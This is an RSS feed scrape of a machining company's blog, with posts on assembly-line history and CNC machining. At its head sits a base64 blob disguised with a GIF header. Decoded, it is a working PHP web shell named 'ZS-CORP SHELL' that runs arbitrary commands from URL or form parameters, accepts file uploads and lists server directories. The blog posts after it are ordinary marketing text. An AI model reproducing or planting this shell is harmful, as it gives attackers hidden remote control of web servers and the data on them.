R0lGODlhCjw/cGhwCkBlcnJvcl9yZXBvcnRpbmcoMCk7QGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywwKTtAc2V0X3RpbWVfbGltaXQoMCk7CmZ1bmN0aW9uIHpzX3J1bigkYyl7CmlmKCRjPT09JycpcmV0dXJuJyc7CiRjPSRjLicgMj4mMSc7CmlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKXskbz1Ac2hlbGxfZXhlYygkYyk7aWYoJG8hPT1udWxsJiYkbyE9PScnKXJldHVybiAkbzt9Cm9iX3N0YXJ0KCk7aWYoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKXtAcGFzc3RocnUoJGMsJHgpOyRvPW9iX2dldF9jbGVhbigpO2lmKCRvIT09JycpcmV0dXJuICRvO29iX3N0YXJ0KCk7fQppZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKXtAc3lzdGVtKCRjLCR4KTskbz1vYl9nZXRfY2xlYW4oKTtpZigkbyE9PScnKXJldHVybiAkbztvYl9zdGFydCgpO30KaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpe0BleGVjKCRjLCRhLCR4KTskbz1pbXBsb2RlKCJcbiIsJGEpO2lmKCRvIT09JycpcmV0dXJuICRvO30KcmV0dXJuJ1tubyBvdXRwdXRdJzt9CiRhcGk9aXNzZXQoJF9HRVRbJ2NtZCddKT8kX0dFVFsnY21kJ106KGlzc2V0KCRfR0VUWydjJ10pPyRfR0VUWydjJ106KGlzc2V0KCRfR0VUWydjb21tYW5kJ10pPyRfR0VUWydjb21tYW5kJ106JycpKTsKaWYoJGFwaSE9PScnJiYhaXNzZXQoJF9QT1NUWydleGVjdXRlX2NtZCddKSl7QG9iX2NsZWFuKCk7ZWNobyJbUkNFX1NUQVJUXSI7ZWNobyB6c19ydW4oJGFwaSk7ZWNobyJbUkNFX0VORF0iO2V4aXQ7fQokZD1pc3NldCgkX0dFVFsnZCddKT9AcmVhbHBhdGgoJF9HRVRbJ2QnXSk6Z2V0Y3dkKCk7CmlmKCEkZCkkZD1nZXRjd2QoKTsKQGNoZGlyKCRkKTsKJGNtZF9vdXQ9Jyc7JGxhc3RfY21kPScnOwppZihpc3NldCgkX1BPU1RbJ2V4ZWN1dGVfY21kJ10pKXsKJGxhc3RfY21kPWlzc2V0KCRfUE9TVFsnY21kJ10pP3RyaW0oJF9QT1NUWydjbWQnXSk6Jyc7CiRjbWRfb3V0PXpzX3J1bigkbGFzdF9jbWQpO30KaWYoaXNzZXQoJF9GSUxFU1snZiddKSl7CiRuPWJhc2VuYW1lKCRfRklMRVNbJ2YnXVsnbmFtZSddKTsKaWYoQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmJ11bJ3RtcF9uYW1lJ10sJG4pKXsKZWNobyI8ZGl2IHN0eWxlPSdjb2xvcjojMGYwO2JhY2tncm91bmQ6IzAwMWEwMDtib3JkZXI6MXB4IHNvbGlkICMwZjA7cGFkZGluZzo4cHg7bWFyZ2luOjEwcHggMCc+JiMxMDAwMzsgVXBsb2FkZWQ6IDxiPiRuPC9iPjwvZGl2PiI7Cn1lbHNlewplY2hvIjxkaXYgc3R5bGU9J2NvbG9yOiNmMDA7YmFja2dyb3VuZDojMWEwMDAwO2JvcmRlcjoxcHggc29saWQgI2YwMDtwYWRkaW5nOjhweDttYXJnaW46MTBweCAwJz4mIzEwMDA3OyBVcGxvYWQgZmFpbGVkPC9kaXY+IjsKfX0KZWNobyI8IURPQ1RZUEUgaHRtbD48aHRtbD48aGVhZD48dGl0bGU+WlMtQ09SUCBTSEVMTDwvdGl0bGU+PHN0eWxlPip7bWFyZ2luOjA7cGFkZGluZzowO2JveC1zaXppbmc6Ym9yZGVyLWJveH1ib2R5e2ZvbnQtZmFtaWx5OidDb3VyaWVyIE5ldycsbW9ub3NwYWNlO2JhY2tncm91bmQ6IzAwMDtjb2xvcjojMGYwO3BhZGRpbmc6MTVweH1he2NvbG9yOiMwZjA7dGV4dC1kZWNvcmF0aW9uOm5vbmV9YTpob3Zlcntjb2xvcjojMGZmO3RleHQtZGVjb3JhdGlvbjp1bmRlcmxpbmV9LmNvbnRhaW5lcnttYXgtd2lkdGg6MTIwMHB4O21hcmdpbjowIGF1dG87Ym9yZGVyOjJweCBzb2xpZCAjMGYwO3BhZGRpbmc6MTVweDtiYWNrZ3JvdW5kOiMwMDFhMDB9LmhlYWRlcnt0ZXh0LWFsaWduOmNlbnRlcjtib3JkZXItYm90dG9tOjJweCBzb2xpZCAjMGYwO3BhZGRpbmc6MTBweDttYXJnaW4tYm90dG9tOjE1cHh9LmhlYWRlciBoMXtjb2xvcjojMGYwO2ZvbnQtc2l6ZToyNHB4O3RleHQtc2hhZG93OjAgMCAxMHB4ICMwZjB9LnBhdGh7YmFja2dyb3VuZDojMDAzMzAwO3BhZGRpbmc6OHB4O21hcmdpbjoxMHB4IDA7Ym9yZGVyOjFweCBzb2xpZCAjMGYwO3dvcmQtYnJlYWs6YnJlYWstYWxsfS51cGxvYWQtZm9ybSwuY21kLWZvcm17YmFja2dyb3VuZDojMDAyMjAwO3BhZGRpbmc6MTBweDtib3JkZXI6MXB4IHNvbGlkICMwZjA7bWFyZ2luOjEwcHggMH0ucGFuZWwgaDJ7dGV4dC1hbGlnbjpjZW50ZXI7Zm9udC1zaXplOjE2cHg7Y29sb3I6IzBmZjtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjMGYwO21hcmdpbjowIDAgMTBweDtwYWRkaW5nLWJvdHRvbTo4cHh9aW5wdXRbdHlwZT1maWxlXSxpbnB1dFt0eXBlPXRleHRde2JhY2tncm91bmQ6IzAwMWEwMDtjb2xvcjojMGYwO2JvcmRlcjoxcHggc29saWQgIzBmMDtwYWRkaW5nOjVweDttYXJnaW4tYm90dG9tOjVweH1pbnB1dFt0eXBlPXN1Ym1pdF0sYnV0dG9ue2JhY2tncm91bmQ6IzBmMDtjb2xvcjojMDAwO2JvcmRlcjpub25lO3BhZGRpbmc6OHB4IDIwcHg7Y3Vyc29yOnBvaW50ZXI7Zm9udC13ZWlnaHQ6Ym9sZDtmb250LWZhbWlseTonQ291cmllciBOZXcnLG1vbm9zcGFjZX1pbnB1dFt0eXBlPXN1Ym1pdF06aG92ZXJ7YmFja2dyb3VuZDojMGZmfXRhYmxle3dpZHRoOjEwMCU7Ym9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlO21hcmdpbi10b3A6MTBweH10aCx0ZHtwYWRkaW5nOjhweDt0ZXh0LWFsaWduOmxlZnQ7Ym9yZGVyOjFweCBzb2xpZCAjMGYwfXRoe2JhY2tncm91bmQ6IzAwMzMwMDtjb2xvcjojMGYwO2ZvbnQtd2VpZ2h0OmJvbGR9dHI6aG92ZXJ7YmFja2dyb3VuZDojMDAyMjAwfS5kaXJ7Y29sb3I6IzBmZn0uZmlsZXtjb2xvcjojMGYwfS5zaXple2NvbG9yOiMwOTB9LmluZm97Zm9udC1zaXplOjExcHg7Y29sb3I6IzA5MDttYXJnaW4tdG9wOjEwcHg7dGV4dC1hbGlnbjpjZW50ZXJ9Lm91dHB1dHtiYWNrZ3JvdW5kOiMwMDA7Y29sb3I6IzBmMDtib3JkZXI6MXB4IHNvbGlkICMwZmY7cGFkZGluZzoxMHB4O21hcmdpbi10b3A6MTVweDt3aGl0ZS1zcGFjZTpwcmUtd3JhcDt3b3JkLWJyZWFrOmJyZWFrLWFsbH08L3N0eWxlPjwvaGVhZD48Ym9keT48ZGl2IGNsYXNzPSdjb250YWluZXInPjxkaXYgY2xhc3M9J2hlYWRlcic+PGgxPiYjOTgzMDsgWlMtQ09SUCBTSEVMTCAmIzk4MzA7PC9oMT48cCBzdHlsZT0nZm9udC1zaXplOjExcHg7Y29sb3I6IzA5MCc+VkVOSSB8IFZJREkgfCBWSUNJPC9wPjxwIHN0eWxlPSdmb250LXNpemU6MTFweDtjb2xvcjojMDkwO21hcmdpbi10b3A6NnB4Jz4iOwplY2hvIGh0bWxzcGVjaWFsY2hhcnMoUEhQX1ZFUlNJT04uJyB8ICcucGhwX3VuYW1lKCkpOwplY2hvIjwvcD48L2Rpdj48ZGl2IGNsYXNzPSdwYXRoJz48Yj5DV0Q6PC9iPiAkZCI7CiRwYXJlbnQ9ZGlybmFtZSgkZCk7CmlmKCRwYXJlbnQhPSRkKWVjaG8iIHwgPGEgaHJlZj0nP2Q9Ii51cmxlbmNvZGUoJHBhcmVudCkuIic+W1BhcmVudCAmIzg1OTM7XTwvYT4iOwplY2hvIjwvZGl2PjxkaXYgY2xhc3M9J3VwbG9hZC1mb3JtJz48Zm9ybSBtZXRob2Q9J3Bvc3QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnPiI7CmlmKGlzc2V0KCRfR0VUWydkJ10pKWVjaG8iPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nZCcgdmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkX0dFVFsnZCddLEVOVF9RVU9URVMpLiInPiI7CmVjaG8iPGlucHV0IHR5cGU9J2ZpbGUnIG5hbWU9J2YnIHJlcXVpcmVkPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdVUExPQUQgRklMRSc+PC9mb3JtPjwvZGl2PjxkaXYgY2xhc3M9J2NtZC1mb3JtIHBhbmVsJz48aDI+Q29tbWFuZCBDZW50ZXI8L2gyPjxmb3JtIG1ldGhvZD0ncG9zdCc+IjsKaWYoaXNzZXQoJF9HRVRbJ2QnXSkpZWNobyI8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdkJyB2YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRfR0VUWydkJ10sRU5UX1FVT1RFUykuIic+IjsKZWNobyI8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nY21kJyBzdHlsZT0nd2lkdGg6NzAlJyB2YWx1ZT0nIjtpZigkbGFzdF9jbWQhPT0nJyllY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGxhc3RfY21kLEVOVF9RVU9URVMpO2VjaG8iJyBwbGFjZWhvbGRlcj0nQ29tbWFuZC4uLicgYXV0b2ZvY3VzPiA8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdleGVjdXRlX2NtZCcgdmFsdWU9J0V4ZWN1dGUnPjwvZm9ybT48L2Rpdj4iOwppZigkY21kX291dCE9PScnKWVjaG8iPGRpdiBjbGFzcz0nb3V0cHV0Jz4iLmh0bWxzcGVjaWFsY2hhcnMoJGNtZF9vdXQpLiI8L2Rpdj4iOwplY2hvIjx0YWJsZT48dHI+PHRoPk5hbWU8L3RoPjx0aD5TaXplPC90aD48dGg+TW9kaWZpZWQ8L3RoPjx0aD5QZXJtczwvdGg+PC90cj4iOwokaXRlbXM9QHNjYW5kaXIoJy4nKTsKaWYoJGl0ZW1zKWZvcmVhY2goJGl0ZW1zIGFzICRpdGVtKXsKaWYoJGl0ZW09PScuJyljb250aW51ZTsKJGZ1bGw9JGQuJy8nLiRpdGVtOwokaXNEaXI9QGlzX2RpcigkaXRlbSk7CiRjbGFzcz0kaXNEaXI/J2Rpcic6J2ZpbGUnOwokaWNvbj0kaXNEaXI/JyYjMTI4MTkzOyc6JyYjMTI4MTk2Oyc7CmlmKCRpdGVtPT0nLi4nKSRpY29uPScmIzExMDE0Oyc7CiRzaXplPSRpc0Rpcj8nRElSJzpAbnVtYmVyX2Zvcm1hdChAZmlsZXNpemUoJGl0ZW0pKS4nIEInOwokdGltZT1AZGF0ZSgnWS1tLWQgSDppJyxAZmlsZW10aW1lKCRpdGVtKSk7CiRwZXJtcz1Ac3Vic3RyKHNwcmludGYoJyVvJyxAZmlsZXBlcm1zKCRpdGVtKSksLTQpOwokbGluaz0kaXNEaXI/Ij9kPSIudXJsZW5jb2RlKCRmdWxsKTokaXRlbTsKZWNobyI8dHI+PHRkIGNsYXNzPSckY2xhc3MnPiRpY29uIDxhIGhyZWY9JyRsaW5rJz4iLmh0bWxzcGVjaWFsY2hhcnMoJGl0ZW0pLiI8L2E+PC90ZD48dGQgY2xhc3M9J3NpemUnPiRzaXplPC90ZD48dGQ+JHRpbWU8L3RkPjx0ZD4kcGVybXM8L3RkPjwvdHI+IjsKfQplY2hvIjwvdGFibGU+PGRpdiBjbGFzcz0naW5mbyc+UG93ZXJlZCBieSBaUyBDT1JQIHwgVkVOSSB8IFZJREkgfCBWSUNJPC9kaXY+PC9kaXY+PC9ib2R5PjwvaHRtbD4iOwo/Pg== Machine Shop Archives - Automation Tech Support http://automationtechsupport.com/tag/machine-shop/ Automation Tech Support Fri, 22 Mar 2019 17:20:37 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 A History of Assembly Automation http://automationtechsupport.com/a-history-of-assembly-automation/ Fri, 22 Mar 2019 17:20:34 +0000 https://automationtechsupport.com/?p=514 Assembly automation has allowed an increase in workload and production output when compared to manual processes. The manufacturing industry is especially labor-intensive; the use of automation, assembly lines, and machining has resulted in improved efficiency, better product duplication, decreased worker stress levels, and savings in...

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Assembly automation has allowed an increase in workload and production output when compared to manual processes. The manufacturing industry is especially labor-intensive; the use of automation, assembly lines, and machining has resulted in improved efficiency, better product duplication, decreased worker stress levels, and savings in labor, costs, and unneeded material waste.

Assembly automation – also known as assembly lines – is used by a countless number of industries to improve production times and reduce costs. The automobile industry uses automation extensively, with robots performing most of the duties that were originally done by hand; this includes spray painting, parts manufacturing, spot welding, and every process in-between.

A History of Assembly Lines

Production lines started to take off during the first two decades of the 1900s. In 1913, Ford Motor Company began to use assembly lines in a newly built factory for their car manufacturing process. Before the assembly line, each car had to be made by a number of skilled/unskilled workers by hand. The production line cut the number of hours spent assembling a car from 12 to 3. Eventually, this number was cut down to one car every 1.5 hours. With business booming, it boosted Ford’s production rates, profits, and reputation. Ford was very altruistic, and offered his workers increased amounts of pay as well.

The 1930s saw assembly line innovation from Japan, a nation that was at the forefront of developing technology for use in assembly automation. Japan introduced micro-switches, protective relays, and highly accurate electrical timers to the assembly line. During the Second World War, this technology was put to use in the production of aircraft, landing craft, warships, tanks, fighter aircraft, and other military vehicles.

The 1950s: A History of Production Lines

After Japan’s surrender in 1945, the industrial rebuilding program – assisted by the United States – brought superior technology and assembly automation to the defeated nation. This technology spawned motor giants such as Toyota, Honda, and Nissan; high standards were soon coupled with realistic prices that could not be matched with other automobile companies in competing territories. This solidified Japan as an automobile giant, with their automobiles and goods being exported worldwide today.

Precision Machining and Assembly Automation at Your Fingertips

Automation Tech Support is a leader in robotic automation and precision CNC machining. Located in Boynton Beach, FL, we assist both small and large-scale productions with their fixture manufacturing and custom machining needs. Our expert machine manufacturers and programmers are able to create everything from full-on automated assembly systems to simple fixtures for small product duplication. Looking for a CNC machining service near you? Don’t hesitate to call Automation Tech Support for the design, manufacture, assembly, installation, maintenance, and repair of all things automated.

We are here for all your machine services. Automation Tech Support is a Full-service tool engineering company that can completely design and build any type of automated assembly machines/systems involving complex robotic automation and the latest in CNC machining technology. Give us a call at (561) 737-3577 or visit our contact page to get in touch with our team.

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CNC Machining Overview http://automationtechsupport.com/cnc-machining-overview/ http://automationtechsupport.com/cnc-machining-overview/#comments Tue, 15 Jan 2019 16:56:14 +0000 https://automationtechsupport.com/?p=485 The process of computer numerical control (CNC) machining combines heavy machinery and complex computer software to control the movements of factory tools and machinery to produce specific components. This manufacturing process allows automated control of various machining tools (lathes, drills, etc.) through the use of...

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The process of computer numerical control (CNC) machining combines heavy machinery and complex computer software to control the movements of factory tools and machinery to produce specific components. This manufacturing process allows automated control of various machining tools (lathes, drills, etc.) through the use of a computer to provide a precise machining solution that is vastly superior to manual control in terms of lucidity and productivity.

Generally, CNC machines employ a motorized maneuverable tool and a motorized platform to produce many different types of material. This can range from computer parts and aircraft components to wire-bending and wood-cutting machines. The application of this technology is far-reaching and the use of these types of systems has been steadily increasing in America’s manufacturing sector in the past two decades.

The Usefulness of CNC systems

CNC systems offer large computational potential and are controlled by a programming language known as G-Code. This language dictates the movement of the machinery and factory tools involved. A few of these elements include feed rate, coordination, drilling functions and speed of the machinery.

These instructions can be seen in the form of CAD (computer-aided design) files, which can be transmuted into a sequential program of machine control instructions. After the code is written, a machine can perform an automated task without a manual operator. By automating machine processes, CNC machining increases the speed of production, reduces labor costs, and cuts down on human error.

After the G-code is inputted, the computer can control the exact velocity and positioning of the tool it is equipped with; because of this, it is possible to produce complex three-dimensional shapes and products that would be incredibly difficult to fashion with manual machining or labor. Due to this precision, CNC machining is primarily used for materials that require a high level of precision in a repetitive fashion (think mass-produced furniture and computer components).

machine mill system

Common CNC Applications

There are a host of materials and applications that can be produced through the process of CNC machining. For example, water jet cutters can be completely automated to cut through very hard materials, such as metal and stone. High-pressure water, sometimes mixed with another agent, can cut through just about anything you can imagine. These machines are often used to cut materials that cannot handle the temperature of heat-intensive processes used by other CNC machines (such as plasma cutters and electric discharge machines). Many factory machine parts, aerospace materials, and industrial mining equipment are fashioned through the use of water jet cutters.  CNC systems and machines are wide-ranging and can include:

  • Laser Cutters
  • Glass cutters
  • 3D printers
  • Lathe machines
  • CNC mills
  • Wire-bending machines
  • Foam cutters
  • Wood routers

These machines are capable of complicated cuts and drilling that can be made at various angles and levels on a work medium. As long as the machine is coded properly and safely, complex designs can be repeated over and over again.

Automation Tech Support Services

At Automation Tech Support, we provide full-service tool engineering that can completely design and build any type of assembly or production equipment for manufacturing purposes. All custom made components for the machines we build are manufactured at our facility. We can manufacture custom parts from your CAD files or we can design the parts based on the application you require. Whatever your tool engineering needs are, we can help.

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